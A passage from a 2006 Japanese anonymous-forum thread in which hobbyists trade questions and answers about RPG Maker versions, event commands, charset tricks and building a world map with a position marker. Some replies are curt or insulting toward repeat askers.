- 742 名前:名前は開発中のものです。 mailto:sage [2006/11/29(水) 23:10:11 ID:H5oiQwVN]
- >>741
それは盲点だった、サンクス。
- 743 名前:名前は開発中のものです。 mailto:sage [2006/12/01(金) 00:15:33 ID:jUkxd+7p]
- xpで作ってるんだけど、自動実行イベントの最初に
ピクチャー表示コマンドを置くと、スイッチで締めるかなんかしない限り 一生表示されない気がする。
- 744 名前:名前は開発中のものです。 mailto:sage [2006/12/01(金) 23:27:49 ID:uXnPOTH0]
- 2003から引用して2000でコモンの呼び出しをしたいんですが未知のコマンドになって呼び出しができません。どうやって呼び出せばいいんでしょうか?
- 745 名前:名前は開発中のものです。 mailto:sage [2006/12/01(金) 23:57:12 ID:sZBF08Lw]
- 2003で編集したゲームは2000で開くことは出来なくなるのでしょうか?
- 746 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:16:41 ID:K8/OA4XI]
- 可能。RPG_RT.exeを2003から2000に差し替える必要があるけどね。
あと、2000で一度データを開いてから再びRPG_RT.exeを2000から2003に差し替えると、 詳しい仕組みは知らんが、2000のくせに2003verでテストプレイが出来る。
- 747 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:19:31 ID:K8/OA4XI]
- 言い忘れ。
上記のは、あくまで開く事が可能なだけであって、ゲームを起動するって言うなら無理。 2003と2000じゃデフォ戦闘システムが違うから。
- 748 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:23:27 ID:hLaHD8pa]
- ロマンジのってどうやってるの?
コモンで敵のステータス代入出来たり、その他色々と凄い部分があるんだけど。
- 749 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:36:14 ID:vd73J6P8]
- 調べてみたけど2003ってダンジョン自動で作ってくれる機能があるらしいが、出来はどうなの?
まともに機能するならすげー便利な気がするが…
- 750 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 00:46:33 ID:LW/SFOUZ]
- 出口のない超高難度のダンジョンが出来上がる
- 751 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 09:42:25 ID:CmTcipHs]
- >>735
並列処理で主人公の位置を取得して その上部に上半身の絵が来るようにすればできるんじゃない? ツクールのテクニック大量に紹介してるサイトでもっと詳しく解説してた そこではピクチャ使ってたけど
- 752 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 11:10:48 ID:HPEjgRiP]
- >>749
結局その機能を使ってるユーザーはまったくいない。
- 753 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 11:13:02 ID:hLaHD8pa]
- ロマンジのってどうやってるの?
コモンで敵のステータス代入出来たり、その他色々と凄い部分があるんだけど。
- 754 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 13:23:01 ID:uTvAXDZY]
- >>753
戦闘中にコモン呼び出しは2003からコピーしたんだと思う。
- 755 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 13:36:27 ID:hLaHD8pa]
- >>754
「未知のコマンド」になるんだけど・・・。
- 756 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 14:11:03 ID:7ym39Z/p]
- コモン内に無効なコマンドがあるとかじゃないの?
なにやらせてんの?
- 757 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 14:44:15 ID:hLaHD8pa]
- >>756
とりあえず動くかテストで文章表示とかさせてるけど
- 758 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 17:47:00 ID:gqHPMPKJ]
- KGCの盗むを入れてるんですが。
盗むの結果を表示する ヘルプウィンドウの表示時間が短くて何を盗んだか読み難く、 ヘルプウィンドウの表示時間を伸ばしたいのですが、 如何すれば宜しいでしょうか?
- 759 名前:名前は開発中のものです。 mailto:sage [2006/12/02(土) 23:45:44 ID:4YZh1zne]
- ヘルプウィンドウの表示時間を長くすればいいと思うよ
- 760 名前:758 mailto:sage [2006/12/03(日) 10:02:25 ID:CsK/ySzw]
- >>759
ヘルプウィンドウの表示時間を長くするには どのスクリプトのどの部分を弄ればいいのですか?
- 761 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 11:43:44 ID:nFczpNZl]
- どうすればXPでワールドマップが作れますか?
- 762 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 12:15:33 ID:M5WXv+QN]
- ワールドマップを作れば良いと思うよ
- 763 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 13:41:56 ID:WPcmOv/w]
- >>761
普通に作るのと同じじゃないかね。 Youどういうのを作りたいのか「ワールドマップ」の定義がはっきりしてないよ。
- 764 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 13:57:06 ID:sJJss3DO]
- >>751
遅くなったがトンクス
- 765 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 15:35:24 ID:3I6k80xQ]
- >>761
ワールドマップを作ればいいんじゃないかな
- 766 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 18:44:03 ID:nFczpNZl]
- >>763 んとねごく普通のワールドマップ
決まったボタンを押すと画面全体がワールドマップ画面に切り替わって自分の今いる場所が点で表されるってのがいいんだけど。 一つ一つの大陸はそれぞれ違うマップで作ってあるからどうすればいいのかな
- 767 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 19:59:13 ID:09leiyZ1]
- アレ臭いな…
- 768 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 20:11:13 ID:yf8aVlk6]
- ワールドマップとマーカーをピクチャーで用意してマップごとに位置を割り出す算式を組んで
マップIDと座標から割り出した位置にマーカーを表示知ればいいだけじゃないの? 2000のコモンでもできるから、そのままXPでもコモンでできるっしょ。
- 769 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 20:41:54 ID:nFczpNZl]
- 難しすぎてなにがなんだか もっと詳しくお願いしやす
- 770 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 20:51:40 ID:rbhtYr2V]
- ぽかーん。これ以上どう簡単にせよと……。
一回、自分の欲しいモノを整理して考えてみるといいよ。 マーカーはキャラでもいいわな。
- 771 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 22:03:06 ID:Sg5BOqzl]
- 2000製のゲームってフルスクリーンでプレイしないと動作が遅くなるんですか?
安価なSXGA(1280×1024)の液晶ディスプレイでフルスクリーンにするとアスペクト比が変わってしまうのですが、 比率を保持したまま拡大できる機能のあるディスプレイを使用しないと液晶で2000製のゲームはプレイしづらいのでしょうか? XPだとそこら辺はどうなっているのでしょうか?
- 772 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 23:05:15 ID:vJPFxLuW]
- ウィンドウモードの大きい方は
画面のプロパティで「画面の色」を16ビットにすれば 小さい方やフルスクリーンと同じくらいの軽さ。 XPはかなり重い。
- 773 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 23:56:49 ID:Sg5BOqzl]
- そうですか……。
それじゃあツクールを使うのはやめます。 さようなら。
- 774 名前:名前は開発中のものです。 mailto:sage [2006/12/03(日) 23:58:01 ID:Znz9Bg+c]
- キャラチップって
1 2 3 4 5 6 7 8 9 0 * # って感じに並んでるよね? 自作戦闘で数字表示する時にセラブルみたいなイベントのページ毎に「あれが1以上ならキャラチップで1を表示」という条件じゃなくて 動作指定して1ページにまとめたいんだ ただ動作指定は方向しか指定出来なくて?、正面向いてると258*しか表示出来ないのよ イベントページのキャラチップ選択する所でチップ右側、左側、真中で右側にすれば1470、左側にすれば369#が表示出来るんだけど何とか1ページに押さえたい 意味不明な文章だけと誰か教えて下さい
- 775 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:09:51 ID:tPh54uiS]
- ん?ツクール2000ってWinXPだと動き悪くなるの?
- 776 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:13:44 ID:4pPJRYTK]
- そちらさんの文意を汲み取れているかは分からないけど、
チップセットは、1キャラに対して12マス。 1 2 3 4 5 6 7 8 9 0 * # で、一ページに抑えるとなると向き指定で揃えるしかないわけだから、 実質、使えるのは258*のマスのみ。 となれば、これを計三キャラ分(1〜4、5〜8、9〜12の数字に対応)作れば問題解決じゃないの? 仮に三つ作ってそれぞれ@ABとすれば、 条件指定で変数○○が1の時に@「上を向く」=1に対応 条件指定で変数○○が2の時に@「右を向く」=2に対応 条件指定で変数○○が3の時に@「下を向く」=3に対応 条件指定で変数○○が4の時に@「左を向く」=4に対応 … 条件指定で変数○○が12の時にB「左を向く」=12に対応 ってな具合で。ただ、個人的にはセラブル方式の方が楽のような気がする。 面倒って言うならピクチャーで表示するってのもありかと。 というか、チップ使ってこの手法ならピクチャーの方がまだ手軽。こんな感じでおk?
- 777 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:21:08 ID:4pPJRYTK]
- ん、間違ったな。12まで作る必要ないね。9まででいいか。あと0も付け足して。
作るマップチップはこんな感じで。(*は必要ないものと考えて) * 1 * * 2 * * 3 * * 4 * * 5 * * 6 * * 7 * * 8 * * 9 * * 0 * * * * * * *
- 778 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:23:24 ID:WETsvPET]
- ピクチャーの方が早くて楽だよ。
でも50しかないからすぐ足りなくなってこまる。
- 779 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 00:38:35 ID:CHZyBv0S]
- >>774
動きが左・中央・右の状態のイベントをそれぞれ用意して、 表示する前に一つの場所に重ねておく。 で、条件を満たさないときは他の二つのイベントは透明にしておけばおk
- 780 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 01:46:26 ID:RrhcHK2z]
- 主人公を変えてそれぞれ違う場所から始めたくて
とりあえず、主人公の歩行グラフィックと顔グラフィックは変更してみたのだけど 能力や装備、アイテム、経験値、仲間などはどうすればいいかな
- 781 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 11:02:15 ID:kX51VxxZ]
- だからさあ マーカーやら算式やら意味がよくわからへんねん どうやったらワールドマップ作れるか手順をもっと詳しくたのむ
- 782 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 11:07:32 ID:3WaEYHtw]
- >>781
理解力も、理解しようという意思さえない池沼は諦めろ。 少しは自分で調べて努力しろや。
- 783 名前:名前は開発中のものです。 [2006/12/04(月) 11:43:47 ID:kX51VxxZ]
- そうやって中傷する暇があったら早く教えて 早く
- 784 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 12:23:32 ID:IBAie81F]
- >>781
XPならまず640×480のワールドマップ用の画像を用意する、そして赤い点でもなんでもいいから 現在位置のマーカー用画像も用意する。 いくつかに分かれたマップの四隅の位置がワールドマップどの位置に来るかそれぞれ決める。 例えばある地域のマップはワールドマップ画像上での位置が左上隅が(150,100)右下隅は(300,200)の 位置に対応していたと仮定する、その地域のマップの広さが仮に30×20マスだったとする場合、 0,0=150,100、30,20=300,200に対応するのはわかると思う。 この地域のx座標の計算式は150+(x*5)、y座標の計算式は100+(y*5)となる。 高校1年生くらいの数学力があれば余裕で計算式は導けるはずなので、地域マップごとにこれを用意いて マップIDと座標を監視して対応した計算式を呼び出し、マップを表示した後その上の対応した座標位置に マーカーを表示するようにコモンを作れば基本的に2000でも2003でもXPで作れる。
- 785 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 12:33:57 ID:IBAie81F]
- なんだタナだったのか、詳しく説明して損した教えてもどうせ判らないからな。
- 786 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 13:20:35 ID:MK/wSUpw]
- 流れぶった切ってすいませんが、質問です。
ツクール95のモングラをツクール2000で使用するには どうすればいいでしょうか? 95からモングラを取りだす方法がわかりません・・・。
- 787 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 13:45:43 ID:JO+zXrGO]
- どっかのフォルダとかに入ってるんじゃねーの。
まぁそもそも95と2000では解像度違うから使うのは難しいけどよ。
- 788 名前:名前は開発中のものです。 mailto:sage [2006/12/04(月) 17:31:05 ID:a8d2o39b]
- サンプルゲーム覗けば分かるような質問が多いですね^^;
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